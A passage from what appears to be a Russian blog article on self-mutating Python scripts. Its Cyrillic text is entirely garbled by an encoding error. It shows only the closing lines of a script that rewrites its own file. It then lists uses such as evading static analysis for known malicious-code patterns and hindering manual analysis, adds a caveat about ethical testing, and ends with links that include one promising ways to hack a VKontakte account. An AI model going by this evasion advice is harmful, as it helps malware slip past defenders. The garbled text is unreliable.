    print("Π‘ΠΊΡ€ΠΈΠΏΡ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΌΡƒΡ‚ΠΈΡ€ΠΎΠ²Π°Π½.")

if __name__ == '__main__':
    current_file = __file__
    mutate_script(current_file)

ℹ️ Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹-ΠΌΡƒΡ‚Π°Π½Ρ‚Ρ‹ пригодятся для:

  • ИзбСгания статичСского Π°Π½Π°Π»ΠΈΠ·Π° β€” мутация ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ систСмы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡ‰ΡƒΡ‚ извСстныС ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ врСдоносного ΠΊΠΎΠ΄Π°.
  • ДинамичСской Π·Π°Ρ‰ΠΈΡ‚Ρ‹ β€” ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎ-Ρ€Π°Π·Π½ΠΎΠΌΡƒ ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ запускС, ΠΈ это ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ°ΠΌΠΈ Ρ€ΡƒΡ‡Π½ΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°.
  • ΠŸΠ΅Π½Ρ‚Π΅ΡΡ‚ΠΈΠ½Π³Π° β€” ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ систСма Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΊΠΎΠ΄.

⚠️ Π’Π°ΠΆΠ½ΠΎ:

Π‘ΠΊΡ€ΠΈΠΏΡ‚Ρ‹-ΠΌΡƒΡ‚Π°Π½Ρ‚Ρ‹ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π²ΠΎ врСдоносном ПО, Π½ΠΎ ΠΈΡ… Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этично, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:

  • ΠŸΡ€ΠΈ тСстировании антивирусов ΠΈΠ»ΠΈ IDS.
  • Для Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ собствСнности.
  • Для создания ΡΠ°ΠΌΠΎΠ²ΠΎΡΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡ скриптов Π² тСстовых срСдах.

Π’ Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅

ЭкспСримСнты с хакСрскими скриптами ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ Π½Π°Π²Ρ‹ΠΊΠΈ программирования ΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠΏΡ‹Ρ‚Π½Ρ‹Π΅ пСнтСстСры ΠΈ спСциалисты ΠΏΠΎ бСзопасности. Π’Π°ΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ°ΡˆΠΈΠ½Π°Ρ… ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΉ срСдС ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ администратора систСмы.

Π›Π£Π§Π¨Π˜Π• БВАВЬИ ПО Π’Π•ΠœΠ•

admin
11 дСкабря 2018

ООП Π½Π° Python: ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ

ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° Python допускаСт Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ»ΠΎΠ³ΠΈΠΈ, Π½ΠΎ Π² Π΅Π³ΠΎ основС...
Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° программиста
15 января 2018

Как ΡΡ‚Π°Ρ‚ΡŒ Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠΌ: Π³Π°ΠΉΠ΄ ΠΏΠΎ основам для Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ²

Π₯акСрство - это поиск уязвимостСй Π² сСти ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ с Ρ†Π΅Π»ΡŒΡŽ получСния Π΄...
admin
11 фСвраля 2017

5 способов Π²Π·Π»ΠΎΠΌΠ° страницы Π’ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚Π΅

Π’ нашС врСмя ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡ‚Π΅Ρ€ΡΡ‚ΡŒ доступ ΠΊ Π»ΠΈΡ‡Π½Ρ‹ΠΌ Π΄Π°Π½Π½Ρ‹ΠΌ, Ссли Π½Π΅ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ...